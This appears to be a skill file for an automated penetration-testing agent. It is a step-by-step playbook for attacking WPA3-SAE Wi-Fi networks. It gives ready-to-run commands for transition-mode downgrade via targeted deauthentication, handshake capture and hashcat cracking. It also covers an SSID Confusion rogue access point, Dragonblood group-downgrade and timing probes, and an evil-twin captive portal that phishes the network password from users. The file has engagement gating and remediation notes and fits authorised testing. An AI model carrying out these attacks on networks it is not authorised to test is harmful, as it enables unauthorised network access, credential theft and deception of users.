WPA3-SAE

SAE is an online-only protocol — there is no PMKID or 4-way handshake hash to crack offline. The headline deliverable when the PSK is unrecoverable is the MFP state finding (mandatory vs optional vs disabled) which proves downgrade viability. Realistic outcome: either recover the PSK via the transition-mode WPA2 leg, or document SAE + MFP as a hardened target with no further wireless attack surface.

Prerequisites

• Monitor-mode adapter on the target channel.
• Tools: aircrack-ng suite, hcxdumptool, hcxpcapngtool, hashcat, iw, tshark or wireshark-cli.
• Optional (Dragonblood / transition probing): dragonslayer / wpa_supplicant dev branch (Vanhoef scripts), Python 3.8+.
• Confirm iw reg get matches the engagement's regulatory domain before any TX.

Path A — Transition-mode downgrade (DragonShift)

Target signature: AP advertises both PSK and SAE (WPA2 WPA3 in airodump ENC column, or RSN IE shows both AKM 00-0F-AC:2 PSK and 00-0F-AC:8 SAE), AND PMF is optional (MFPC=1, MFPR=0) rather than required (MFPR=1).

# 1. Passive recon — confirm transition mode + PMF state
sudo airodump-ng --write-interval 1 -w /tmp/wpa3_recon --output-format csv,pcap \
    -c <CHANNEL> --bssid <BSSID> <mon-iface>

# 2. Decode RSN capabilities from beacon to read MFPC/MFPR
tshark -r /tmp/wpa3_recon-01.cap -Y "wlan.fc.type_subtype == 8" \
    -T fields \
    -e wlan.ssid \
    -e wlan_mgt.rsn.capabilities.mfpc \
    -e wlan_mgt.rsn.capabilities.mfpr 2>/dev/null | head -5

# Expected output for downgrade-viable target:
#   TargetSSID   1   0
# MFPC=1 MFPR=0 → PMF optional → client negotiates WPA2 PSK leg
# MFPC=1 MFPR=1 → PMF required → downgrade blocked; pivot to Path B/C/D

# 3. Coerce client onto the WPA2 PSK leg
#    Send targeted deauth to a connected client (requires
#    permitted_actions: deauth_for_handshake_capture in RoE).
sudo aireplay-ng --deauth 1 -a <BSSID> -c <CLIENT_MAC> <mon-iface>

# 4. Client reconnects choosing WPA2 PSK AKM (no SAE preference).
#    Capture the resulting 4-way handshake / PMKID from airodump.
hcxpcapngtool -o /tmp/downgrade.hc22000 /tmp/wpa3_recon-01.cap

# 5. Crack with hashcat exactly as wpa2-psk skill.
hashcat -m 22000 /tmp/downgrade.hc22000 /usr/share/wordlists/rockyou.txt

Hand off to wpa2-psk skill for cracking if the above yields a hash. The downgrade finding stands independently even without a cracked PSK.

Path B — SSID Confusion (CVE-2023-52424)

Preconditions (all required):

1. Victim device has stored credentials for SSID-A on network-A AND SSID-A on network-B (credential reuse across SSIDs).
2. Neither AP uses beacon protection (802.11bn beacon-integrity extension — uncommon in 2026 consumer gear).
3. The PMK derivation in the target's supplicant does not bind the SSID (WPA2/WPA3 SAE do not bind SSID into the PMK by spec unless the vendor implements extra protection).

# 1. Identify trusted SSID the client probes for
sudo airodump-ng <mon-iface> 2>/dev/null | grep "Probe"
# e.g., victim probes for "CorpWifi" which reuses PSK on home AP

# 2. Confirm no beacon protection in target beacons
tshark -r /tmp/wpa3_recon-01.cap -Y "wlan.fc.type_subtype == 8" \
    -T fields -e wlan.ssid -e wlan.tag.number 2>/dev/null | grep "130"
# Tag 130 = FILS Public Key / beacon protection present → attack blocked

# 3. Stand up a rogue AP with the trusted SSID using the
#    victim's own SAE credentials (operator already has the PSK from
#    another path, or this is a known shared-PSK environment).
#    Cross-reference evil-twin-karma skill for rogue AP setup.
#    The victim associates using its saved PSK — traffic flows via
#    attacker AP despite never cracking SAE directly.

Limits: Requires credential reuse. Most corporate environments use unique per-network credentials, defeating this. Primarily viable in SMB/SOHO where the same "home" PSK is reused on a WPA3 network. (Reference: Vanhoef & Gollier, "SSID Confusion Attack", USENIX 2024.)

Path C — Dragonblood side-channels (legacy/embedded only)

Viability note: Both the timing and cache side-channel variants (CVE-2019-9494, CVE-2019-9496) and the ECC group-downgrade attack (CVE-2019-13377) are patched in hostapd ≥ 2.9 / wpa_supplicant ≥ 2.9 (2019). Target must be running unpatched firmware — typical on embedded routers, old ISP-supplied CPE, or IoT access points with frozen firmware.

# 1. Check AP firmware / hostapd version via beacon or SNMP
sudo airodump-ng --bssid <BSSID> -c <CHANNEL> <mon-iface>
# Look for vendor OUI → cross-ref CVE database for hostapd version

# 2. Group-downgrade probe — send SAE Commit with ECC group 22 (non-default)
#    Vanhoef dragonslayer script automates this:
python3 dragonslayer.py --interface <mon-iface> --target-bssid <BSSID> \
    --test group-downgrade

# 3. Timing attack (cache/timing oracle on P-521 scalar multiplication)
#    Also in dragonslayer; requires ~1000 timing samples to extract nonce.
python3 dragonslayer.py --interface <mon-iface> --target-bssid <BSSID> \
    --test timing-attack --iterations 1200

# Output: recovered nonce bits → partial PSK entropy.
# Full offline crack still requires mutation + hashcat.

Expected result on patched target: SAE Commit is rejected with status 77 (unsupported finite cyclic group) for group 22, and timing variance is <10 µs (indistinguishable). Mark as not_vulnerable.

Path D — SAE captive-portal social-engineering recovery

For networks where SAE is cryptographically intact and the PSK is strong, a hostile-portal workflow (social engineering) can recover the PSK directly from the user:

# Stand up evil-twin with matching SSID + deauth.
# See evil-twin-karma skill for full rogue AP + portal setup.
# Workflow: victim sees "Reconnect to Wi-Fi" prompt on portal page;
# submits PSK; phishing page validates it against a local wpa_supplicant
# instance pointing at a dummy SAE AP to confirm credential correctness
# before accepting.
# Reference: Chatzisofroniou & Vanhoef arXiv:2412.15381 (2024).

Evidence

On successful downgrade or PSK recovery, write a Credential node:

kg_add_node(
    kind="credential",
    label=f"WiFi PSK for {ssid} (WPA3-SAE transition downgrade)",
    props={
        "key": f"wifi-psk::{bssid}",
        "secret_type": "wpa_sae",
        "ssid": ssid,
        "bssid": bssid,
        "psk": psk,
        "attack_path": "wpa3-transition-downgrade",
        "cracked_at": "<iso8601>",
        "source": "dragonshift+hashcat-22000",
    },
)

Always write a Finding node for the PMF state regardless of crack outcome:

kg_add_node(
    kind="finding",
    label="WPA3 Transition Mode — PMF Optional (Downgrade Viable)",
    props={
        "key": f"pmf-optional::{bssid}",
        "severity": "high",
        "mfpc": True,
        "mfpr": False,
        "cve_ids": [],
        "remediation": "Set MFP=Required (MFPR=1) on the AP to block transition-mode downgrade.",
    },
)

ZFP

1. tshark or Wireshark screenshot showing MFPC=1, MFPR=0 in RSN capabilities.
2. Captured .hc22000 from the WPA2-leg reconnection (or dragonslayer output for Path C).
3. hashcat --show output confirming PSK (if cracked).

If PSK not cracked: the PMF-optional finding is a standalone deliverable. Document as "SAE transition-mode downgrade viable; PSK not recovered in engagement timeframe."

OPSEC notes

• Transition-mode downgrade requires one targeted deauth — gate on permitted_actions: deauth_for_handshake_capture.
• PMKID capture from the WPA2 leg is OPSEC-quiet (no deauth).
• Dragonblood timing attack requires ~10+ minutes of repeated SAE Commit frames — loud, triggers WIDS. Gate on posture=loud.
• SSID Confusion and portal recovery (Path B/D) involve active TX; check regulatory domain first.

References

• references/wpa3-transition-mode-notes.md — extended transition-mode notes.
• Vanhoef & Gollier, "SSID Confusion Attack", USENIX Security 2024 (CVE-2023-52424).
• Vanhoef & Ronen, "Dragonblood: Analyzing the Dragonfly Handshake of WPA3-SAE", IEEE S&P 2020.
• wpa2-psk skill — crack the recovered WPA2-leg handshake.
• evil-twin-karma skill — rogue AP setup for Path D.
• deauth-pmf skill — PMF detection and targeted deauth mechanics.